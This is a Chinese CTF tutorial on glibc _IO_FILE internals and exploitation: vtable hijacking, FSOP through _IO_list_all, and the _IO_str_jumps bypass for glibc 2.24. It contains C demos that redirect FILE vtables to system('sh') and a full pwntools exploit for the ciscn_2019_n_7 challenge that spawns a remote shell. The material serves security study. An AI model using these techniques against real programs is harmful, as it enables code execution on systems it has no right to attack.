跳转至

Pwn _IO_FILE

IO 结构体知识

_IO_FILE 结构

FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值——文件描述符(eg:stdin=0;stdout=1)。

在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr,分别对应文件描述符:0、1、2。假设现在第一次用 fopen 打开一个文件流,这个文件流的文件描述符就为 3 。默认打开的三个文件流分配 libc data 段。fopen 等文件流控制函数创建的文件流是分配在堆上。

FILE 结构体定义在 libio.h :

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

每个文件流都有自己的 FILE 结构体。我们可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

在 ida 中搜索 _IO_2_1_stdxxx_ 或者 stdxx 这个变量会存储 FILE 结构体地址:

image-20201210083553060

gdb 调试中查看结构体内容:

image-20201210083345062

进程中的 FILE 结构会通过 _chain 域彼此连接形成一个链表(上图可见指向 _IO_2_1_strout ),链表头部用全局变量 _IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构(FSOP 攻击利用到这个特性)。

_IO_FILE_plus 结构

但是事实上 _IO_FILE 结构外包裹着另一种结构 _IO_FILE_plus ,其中包含了一个重要的**指针 vtable 指向了一系列函数指针**。

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

struct _IO_FILE_plus
{
    _IO_FILE    file;
    _IO_jump_t   *vtable;
}

_IO_FILE_plus 结构体&各个偏移,当中 0x0 ~ 0xc4 其实就是 _IO_FILE 结构,最后加上 vtable 指针指向 _IO_jump_t :

//p *((struct _IO_FILE_plus*)[地址])
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
//IO_FILE_complete
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

_IO_jump_t 结构

vtable 是 _IO_jump_t 类型的指针,指向的 _IO_jump_t 结构体中保存了一堆函数指针,这有点像 c++ 的虚函数结构体,在后面我们会看到在一系列标准 IO 函数中会调用这里面的函数指针。

在 ida 中可以找 _IO_2_1_stderr_ 结构体后面的 dq offset _IO_file_jumps 跳转到结构体。或者直接搜索 _IO_file_jumps ,vtable 实际指向的结构体名字。

//p *((struct _IO_jump_t*)[地址])
void * funcs[] = {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

小结

  • stdin、stdout、stderr 文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上
  • stdin、stdout、stderr,分别对应文件描述符:0、1、2,开启新的文件流文件描述符从 3 开始递增
  • 每个文件流都单独的 _IO_FILE 、_IO_FILE_plus 结构体,_IO_jump_t *vtable只有一个各个文件流公用
  • 指针 vtable 指向了一系列函数指针,各种 IO 操作均是通过 vtable 指向各个具体函数实现功能
  • 文件流通过 _chain 构成链表,链表头部用全局变量 _IO_list_all 表示
  • ida 中通过搜索文件流名可以找到 _IO_FILE 、_IO_FILE_plus ,根据偏移(结构体最后位置)找到 vtable (eg:IO_2_1_stderr)

涉及文件流部分函数

fread

涉及源码文件:

libio/iofread.c
libio/genops.c
libio/libioP.h
libio/fileops.c

fread 是标准 IO 库函数,作用是从文件流中读数据,函数原型如下

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
  • buffer 存放读取数据的缓冲区。
  • size:指定每个记录的长度。
  • count: 指定记录的个数。
  • stream:目标文件流。
  • 返回值:返回读取到数据缓冲区中的记录个数

fread 的代码位于 / libio/iofread.c 中,函数名为_IO_fread,但真正的功能实现在子函数_IO_sgetn 中。

_IO_size_t
_IO_fread (buf, size, count, fp)
     void *buf;
     _IO_size_t size;
     _IO_size_t count;
     _IO_FILE *fp;
{
  ...
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

在_IO_sgetn 函数中会调用_IO_XSGETN,而_IO_XSGETN 是_IO_FILE_plus.vtable 中的函数指针,在*调用这个函数时会首先取出 vtable 中的指针然后再进行调用*。

_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

在默认情况下函数指针是指向_IO_file_xsgetn 函数的,

  if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }

fwrite

涉及源码文件:

libio/iofwrite.c
libio/libioP.h
libio/fileops.c

fwrite 同样是标准 IO 库函数,作用是向文件流写入数据,函数原型如下

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
  • buffer: 是一个指针,对 fwrite 来说,是要写入数据的地址;
  • size: 要写入内容的单字节数;
  • count: 要进行写入 size 字节的数据项的个数;
  • stream: 目标文件指针;
  • 返回值:实际写入的数据项个数 count。

fwrite 的代码位于 / libio/iofwrite.c 中,函数名为_IO_fwrite。 在_IO_fwrite 中主要是调用_IO_XSPUTN 来实现写入的功能。

根据前面对_IO_FILE_plus 的介绍,可知_IO_XSPUTN 位于_IO_FILE_plus 的 vtable 中,调用这个函数需要首先取出 vtable 中的指针,再跳过去进行调用。

written = _IO_sputn (fp, (const char *) buf, request);

在_IO_XSPUTN 对应的默认函数_IO_new_file_xsputn 中会调用同样位于 vtable 中的_IO_OVERFLOW

 /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

_IO_OVERFLOW 默认对应的函数是_IO_new_file_overflow

if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;

在_IO_new_file_overflow 内部最终会调用系统接口 write 函数

fopen

涉及源码文件:

libio/iofopen.c
libio/fileops.c
libio/genops.c

fopen 在标准 IO 库中用于打开文件,函数原型如下

FILE *fopen(char *filename, *type);
  • filename: 目标文件的路径
  • type: 打开方式的类型
  • 返回值: 返回一个文件指针

在 fopen 内部会创建 FILE 结构并进行一些初始化操作,下面来看一下这个过程

首先在 fopen 对应的函数__fopen_internal 内部会调用 malloc 函数,分配 FILE 结构的空间。因此我们可以获知 FILE 结构是存储在堆上的

*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

之后会为创建的 FILE 初始化 vtable,并调用_IO_file_init 进一步初始化操作

_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

在_IO_file_init 函数的初始化操作中,会调用_IO_link_in 把新分配的 FILE 链入_IO_list_all 为起始的 FILE 链表中

void
_IO_link_in (fp)
     struct _IO_FILE_plus *fp;
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
      fp->file._chain = (_IO_FILE *) _IO_list_all;
      _IO_list_all = fp;
      ++_IO_list_all_stamp;
    }
}

之后__fopen_internal 函数会调用_IO_file_fopen 函数打开目标文件,_IO_file_fopen 会根据用户传入的打开模式进行打开操作,总之最后会调用到系统接口 open 函数,这里不再深入。

if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
    return __fopen_maybe_mmap (&new_f->fp.file);

总结一下 fopen 的操作是

  • 使用 malloc 分配 FILE 结构
  • 设置 FILE 结构的 vtable
  • 初始化分配的 FILE 结构
  • 将初始化的 FILE 结构链入 FILE 结构链表中
  • 调用系统调用打开文件

fclose

涉及源码文件:

libio/iofclose.c

fclose 是标准 IO 库中用于关闭已打开文件的函数,其作用与 fopen 相反。

int fclose(FILE *stream)

功能:关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区

fclose 首先会调用_IO_unlink_it 将指定的 FILE 从_chain 链表中脱链

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

之后会调用_IO_file_close_it 函数,_IO_file_close_it 会调用系统接口 close 关闭文件

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);

最后调用 vtable 中的_IO_FINISH,其对应的是_IO_file_finish 函数,其中会调用 free 函数释放之前分配的 FILE 结构

_IO_FINISH (fp);

printf/puts

printf 和 puts 是常用的输出函数,在 printf 的参数是以'\n'结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会**调用 vtable 中的_IO_sputn**,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。

printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现

vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

伪造 vtable 劫持程序流程

修改 vtable 中某些函数的指针

>=libc 2.23 → 通过伪造 vtable 结构体来调用某些函数的指针

简介

IO 操作函数需要经过 FILE 结构进行处理。尤其是 _IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。

因此伪造 vtable 劫持程序流程的中心思想就是**针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。**

vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。

原理示例

修改 vtable 中的指针,

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable
    vtable_ptr[7]=0x41414141 //xsputn
    printf("call 0x41414141");
}

根据 vtable 在 _IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后搞清楚劫持的 IO 函数会调用 vtable 中的哪个虚函数。vtable 函数进行调用时,传入的第一个参数其实是对应的 _IO_FILE_plus 地址。比如调用 printf ,传递给 vtable 的第一个参数是 _IO_2_1_stdout_ 的地址。利用这点可以实现给劫持的 vtable 函数传參,比如

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcopy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

我们首先分配一款内存来存放**伪造的 vtable,之后修改 _IO_FILE_plus 的 vtable 指针指向这块内存**。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 "/bin/sh" 或 "sh"。

因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system("sh")。

同样,如果程序中不存在 fopen 等函数创建的 _IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的 _IO_FILE ,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

print &_IO_2_1_stdin_
$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so

小结

  • vtable 劫持分为两种:
  • 直接改写 vtable 中的虚函数指针
  • 覆盖 vtable 的指针(伪造 vtabel)
  • libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入
  • vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,可以将 sh 或其他参数写入 _IO_FILE_plus 头部

例题

2018 HCTF the_end

题目链接

通过伪造 vtabel 实现运行特定函数(修改虚函数的 overflow 指针)

其他做法:https://blog.csdn.net/Mira_Hu/article/details/103736917

基本情况

除了 canary 保护全开,任意地址写 5 字节

思路

在程序调用 exit 后,会遍历 IO_list_all ,调用 _IO_2_1_stdout 下的 vatable 中 _setbuf 函数。先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget 。

FSOP

介绍

进程内所有的 _IO_FILE 结构会使用 _chain 域相互连接形成一个链表,这个链表的头部由 _IO_list_all 维护。

FSOP 的核心思想就是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用 _IO_flush_all_lockp,这个函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow。

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

img

而 _IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

image-20201208195441734

  1. 当执行流从 main 函数返回时

原理示例

FSOP 利用的条件:泄露 libc.so 基址,因为 _IO_list_all 是作为全局变量储存在 libc.so 中的;用任意地址写把 _IO_list_all 改为指向可控内存的地址;伪造 _IO_FILE_plus 结构体。伪造结构体需要 bypass 这些 check :

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

也就是

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

写一个 demo 验证一下:首先分配一块内存用于存放伪造 _IO_FILE_plus(_IO_FILE、vtable)。_IO_write_ptr、_IO_write_base、_mode 等数据偏移如下(可以通过查前面给出结构体算出来):

#define _IO_list_all 0x7ffff7dd2520
#define writebase_offset 0x20
#define writeptr_offset 0x28
#define mode_offset 0xc0
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;
    ptr=malloc(0x200);
        //bypass
    *(long long*)((long long)ptr+mode_offset)=0x0;
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
        //vtable _IO_overflow
    *(long long*)((long long)ptr+0x100+24)=0x41414141;
        //orw _IO_list_all _chain 2 fake _IO_FILE_plus
    list_all_ptr=(long long *)_IO_list_all;
    list_all_ptr[0]=ptr;
    exit(0);
}

前 0x100 个字节作为 _IO_FILE ,后 0x100 个字节作为 vtable ,在 vtable _IO_overflow 指针劫持为 0x41414141 。

之后,覆盖 libc 中的全局变量 _IO_list_all 指向伪造的 _IO_FILE_plus 。

全局变量 _IO_list_all 存储着结构体 _IO_FILE_plus 的地址,这个地址也是 _IO_FILE 所在地址,后面是 vtable

通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush1 获取 _IO_list_all 的值并取出作为 _IO_FILE_plus **调用其中的 _IO_overflow 函数**实现功能:

---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()

例题

ciscn_2019_n_7

大体是用 FSOP 思路,不是劫持 _IO_list_all _chain 指针伪造一个结构体;而直接修改 _IO_FILE_plus

基本情况

保护全开,用的是 buu 的远程环境对应是 Ubuntu 16 libc 2.23:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enable
程序只能有一个堆,用结构体维护,结构如下:

struct {
  size;//8bit
  data;//8bit
  chunk_addr;//8bit  
}

漏洞

在 add 时写入 author 时溢出 8 bit 刚好可以覆盖堆指针:

image-20201210201615356

结合 edit 可以多次修改堆指针,实现任意地址多次写入:

image-20201210201739661

思路

myexit 函数有关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp 。修改堆指针到 _IO_2_1_stderr_ ,布置绕过绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp 为 system 。写入 _IO_2_1_stderr_ 时将 /bin/sh 写到 _IO_FILE 的头部,调用虚函数时 _IO_FILE 是第一个参数。

因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus 头部。

调试查看结构体

p *((struct [结构体类型]*)[地址])

EXP

from pwn import *
context(log_level='debug')#,terminal=['tmux','sp','-h'])

#p = process("./ciscn_2019_n_7")
p = remote("node3.buuoj.cn",28957)
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('./libc-2.23.so')
elf = ELF("./ciscn_2019_n_7")

def command(id):
    p.recvuntil("-> \n")
    p.sendline(str(id))
def edit(name, content):
    command(2)
    p.recvuntil("New Author name:\n")
    p.sendline(name)
    p.recvuntil("New contents:\n")
    p.send(content)

command(666)
puts_addr = int(p.recv(14),16)
log.info("puts_addr:"+hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']
log.info("libc_base:"+hex(libc_base))

# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
log.info("IO_2_1_stderr:"+hex(IO_2_1_stderr))
system=libc_base+libc.sym['system']
log.info("system:"+hex(system))


command(1)
p.recvuntil(": \n")
p.sendline(str(0xf8))
p.recvuntil(":\n")
payload = 'a'*8 + p64(IO_2_1_stderr)
p.send(payload)

#gdb.attach(p,"b *$rebase(0xb02)")

#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget

payload = '/bin/sh\x00'.ljust(0x20,'\x00') + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4#p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, '\x00')
payload += p64(IO_2_1_stderr+0x40)
edit('a\n', payload)

command(4)

p.sendline('exec 1>&0')
p.interactive()

glibc 2.24 利用

新增防御机制

glibc 2.24 后新增 vtable 检查函数:IO_validate_vtable 和 _IO_vtable_check 。

libio/libioP.h

libio/vtables.c

vtables 被放进了专用的只读的 __libc_IO_vtables 段,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用 _IO_vtable_check 。

很多对 vtable 的攻击方式不再适用,思路转向 stream_buffer

_IO_str_jumps

libc 中不仅仅只有 _IO_file_jumps 一个 vtable ,还有一个叫 _IO_str_jumps 的 ,这个 vtable 不在 check 范围之内。

比如 _IO_str_jumps(该符号在strip后会丢失):

// libio/strops.c

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

// libio/libioP.h

#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

_IO_str_jumps 中包含了一个叫做 _IO_str_overflow 的函数,该函数中存在相对地址的引用(可伪造):

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))                       // 条件 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;                                 // 通过计算 new_size 为 "/bin/sh\x00" 的地址
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);     // 在这个相对地址放上 system 的地址,即 system("/bin/sh")
    [...]
// libio/strfile.h

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

所以可以像下面这样构造:

  • fp->_flags = 0
  • fp->_IO_buf_base = 0
  • fp->_IO_buf_end = (bin_sh_addr - 100) / 2
  • fp->_IO_write_ptr = 0xffffffff
  • fp->_IO_write_base = 0
  • fp->_mode = 0

有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。

完整的调用过程:malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow

与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 _IO_str_jumps vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。

_IO_str_jumps 中,还有另一个函数 _IO_str_finish,它的检查条件比较简单:

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))             // 条件
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);     // 在这个相对地址放上 system 的地址
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

只要在 fp->_IO_buf_base 放上 "/bin/sh" 的地址,然后设置 fp->_flags = 0 就可以了绕过函数里的条件。

那么怎样让程序进入 _IO_str_finish 执行呢,fclose(fp) 是一条路,但似乎有局限。还是回到异常处理上来,在 _IO_flush_all_lockp 函数中是通过 _IO_OVERFLOW 执行的 __GI__IO_str_overflow,而 _IO_OVERFLOW 是根据 __overflow 相对于 _IO_str_jumps vtable 的偏移找到具体函数的。所以如果我们伪造传递给 _IO_OVERFLOW(fp) 的 fp 是 vtable 的地址减去 0x8,那么根据偏移,程序将找到 _IO_str_finish 并执行。

所以可以像下面这样构造:

  • fp->_mode = 0
  • fp->_IO_write_ptr = 0xffffffff
  • fp->_IO_write_base = 0
  • fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end)
  • fp->_flags2 = 0
  • fp->_mode = 0

完整的调用过程:malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish

_IO_wstr_jumps

_IO_wstr_jumps 也是一个符合条件的 vtable,总体上和上面讲的 _IO_str_jumps 差不多:

// libio/wstrops.c

const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

利用函数 _IO_wstr_overflow

_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
  int flush_only = c == WEOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : WEOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
